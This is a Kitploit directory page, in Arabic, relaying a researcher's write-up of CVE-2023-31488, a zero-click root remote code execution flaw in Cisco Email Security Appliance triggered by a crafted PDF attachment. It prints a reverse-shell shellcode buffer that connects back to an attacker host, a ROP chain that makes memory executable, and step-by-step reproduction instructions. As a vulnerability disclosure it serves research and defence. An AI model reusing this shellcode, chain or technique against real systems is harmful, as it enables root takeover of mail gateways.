Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cisco-CVE-2023-31488 — جهاز أمان البريد الإلكتروني من Cisco: بريد إلكتروني إلى RCE بدون أي نقر بصلاحية الجذر - تنفيذ تعليمات برمجية عن بُعد/فساد ذاكرة/سلسلة ROP | Kitploit
أدوات/GitHubGitHub/ly1g3/cisco-cve-2023-31488
أطر الاستغلالتحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةشيل كودالاختبار العشوائياختبار الاختراقتطوير الحمولاتأمان البريد الإلكترونياستغلال الملفات الثنائية
125منذ 3 أشهرلم تتم المراجعة بعد
GitHub
ly1g3/cisco-cve-2023-31488

cisco-CVE-2023-31488

جهاز أمان البريد الإلكتروني من Cisco: بريد إلكتروني إلى RCE بدون أي نقر بصلاحية الجذر - تنفيذ تعليمات برمجية عن بُعد/فساد ذاكرة/سلسلة ROP

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

حول

باحث أمني: ly1g3، ly1g3[at]tuta.io

بصمة GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

نظرة عامة: البريد الإلكتروني إلى RCE بدون أي نقرة بصلاحيات الجذر - تنفيذ تعليمات برمجية عن بُعد / تلف الذاكرة / سلسلة ROP

CVE: CVE-2023-31488

الجدول الزمني:

  • اكتُشفت - ly1g3
  • أُبلغ عنها - ly1g3
  • أُصلحت - Cisco و Lexmark

الشرح

أثناء تفحّي ثغرات Cisco Email Security Appliance (ESA)، اكتشفت ثغرة في Lexmark Perceptive Filters، التي يستخدمها ESA لتنقية بيانات مرفقات البريد الإلكتروني، مما يؤدي إلى RCE عبر البريد الإلكتروني. يحدث الانهيار عند تحليل مرفق PDF مُعدَّل. من خلال تغيير معرّف كائن PDF مكوّن من رقمين، على سبيل المثال:

مثال:

13 0 obj
<</Subtype/CIDFontType2/FontDescriptor

تغيير جزء من المعرّف من 13 إلى قيمة أخرى (مثل مسافة) يؤدي إلى:

1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
1

يؤدي إرسال ملف PDF المُعدَّل هذا في بريد إلكتروني إلى Cisco ESA إلى انهيار بخطأ تجزئة في libISYSpdf6.so. يحدث الانهيار بسبب احتواء r14 على بيانات ASCII.

2 3

الفحص الدقيق يُظهر أن هذه البيانات تأتي من محتوى مرفق PDF الذي نتحكم فيه. قيمة r14 هي Rect. 4

اختبار عند تغيير Rect إلى AAAA.

5

بما أن قيمة r14 تُحمَّل من بيانات في ملف PDF، يمكننا تعديلها لتشير إلى عنوان ذاكرة صالح. بعد هذا التعديل، يحدث انهيار آخر بسبب بيانات غير صالحة في RAX. هذه البيانات هي أيضًا ASCII من ملف PDF.

6

نعدّل ملف PDF بحيث يشير rax أيضًا إلى عنوان فعلي ونكمل. 7

يحدث انهيار جديد؛ الآن يحتوي rsi على بيانات ASCII من ملف PDF. 8

نعدّل ملف PDF مرة أخرى لتحميل عنوان ذاكرة حقيقي.

9

أخيرًا، نصل إلى جزء مثير جدًا من الكود، حيث نتحكم في rdi، والذي يُستخدم لتحميل قيمة في rax. التعليمات الأخيرة في هذا التسلسل هي call rax. نحن الآن نحقق تقدمًا جيدًا نحو الحصول على قدرات تنفيذ تعليمات برمجية.

10

مرة أخرى نفتح المحرّر السداسي العشري ونعدّل القيمة المُحمَّلة في rdi. 11

الآن لدينا وسيلة لتنفيذ تعليمات برمجية محدود ويمكننا القفز إلى عنوان واحد. نظرًا لعدم وجود ASLR، فإن العثور على عناوين الذاكرة سهل. نتحكم أيضًا في rdi، وبالتالي نستخدم أداة ROP الأولية libISYSshared.so: push rdi; pop rsp; xor eax, لنقل rdi إلى rsp للتحكم في المكدس. نوجّه المكدس إلى منطقة نتحكم فيها في منطقة ذاكرة PDF مع مكدس مخصص مُجهّز بمزيد من أدوات ROP. 12

يتم وضع شيل كود عكسي (reverse shell) لنظام FreeBSD مولّد بواسطة msfvenom في منطقة ذاكرة PDF. ولكن نظرًا لأن الذاكرة غير قابلة للتنفيذ، يجب علينا أولاً جعلها قابلة للتنفيذ.

shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"

نظرًا لأننا نتحكم في المكدس في هذه المرحلة، يمكن القيام بذلك عبر سلسلة ROP التالية لاستدعاء mmap لتعيين منطقة ذاكرة الشيل كود على أنها RWX.

rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 

بعد استدعاء mmap، سيقوم call rsp; بتنفيذ NOP-sled الخاص بالشيل كود الخاص بنا نظرًا لأن عنوان الشيل كود يلي ذلك في المكدس المخصص. الشيل كود هو شيل عكسي مولّد بواسطة msfvenom.

الشيء المثير للاهتمام هو أن هذا الكود يُنفَّذ قبل أي فحص ثابت لمكافحة الفيروسات، لذا فإن شيل metasploit العكسي القياسي سيعمل بشكل جيد.

يمكننا استخدام إثبات المفهوم (POC) أدناه لإنشاء PDF يعمل. بعد ذلك، نرسله فقط في بريد إلكتروني إلى ESA للحصول على RCE. راجع ثغراتي الأخرى لتصعيد الامتيازات.

وبهذا نحصل على شل عن بُعد على ESA:

13

كان هذا مشروعًا ممتعًا علّمني الكثير عن ثغرات تلف الذاكرة. كما يُظهر مدى جودة الحماية التي توفرها وسائل الحماية "الحديثة" للذاكرة مثل ASLR، ولكن أيضًا أنه لا يزال بإمكانك العثور على أنظمة بدون ASLR في الخارج.

Cisco AsyncOS 14.2.0

هجوم تجاوز (overflow) على ESA (Cisco Secure Email). تنفيذ تعليمات برمجية عن بُعد بصلاحيات الجذر.

تجاوز المتغير/المخزن المؤقت في Lexmark Perceptive Filters

من خلال إرسال ملف PDF مصمم خصيصًا، يؤدي التجاوز إلى حصول المهاجم على تنفيذ تعليمات برمجية عن بُعد عشوائي على ESA والمنتجات الأخرى التي تستخدم Lexmark Perceptive Filters.

التفاصيل التقنية

يسمح هذا الهجوم بالتجاوز للمهاجم بالسيطرة على تعليمات call rax، مما يجعل من السهل الانتقال إلى تنفيذ تعليمات برمجية عشوائية نظرًا لعدم استخدام ASLR على ESA. سيتم تنفيذ الكود بصلاحيات الجذر.

تأتي المشكلة من تحليل PDF في مكتبة libISYSpdf6.so من Lexmark وتنتج عن استدعاءات الدالة IGR_Open_File_Ex. يمكن تتبع هذه الدالة إلى دوال safeprint و image_analysis في AMP (الحماية المتقدمة من البرامج الضارة) ولكن من المحتمل أن يتم تشغيل الاستغلال عبر مسارات أخرى أيضًا.

خطوات إعادة الإنتاج:

  1. إنشاء ملف PDF يحتوي على Subtype/CIDFontType2/FontDescriptor. يمكن العثور على نموذج هنا https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf
  2. على سبيل المثال:
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
  1. استبدال جزء من المعرّف 13 بقيمة أخرى (مثل مسافة) 1 مما يؤدي إلى:
1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
  1. إرسال ملف PDF إلى ESA مع تفعيل safeprint أو AMP image_analysis

  2. يؤدي هذا إلى خطأ تجزئة (Segmentation Fault) في libISYSpdf6.so

تنزيل الأداة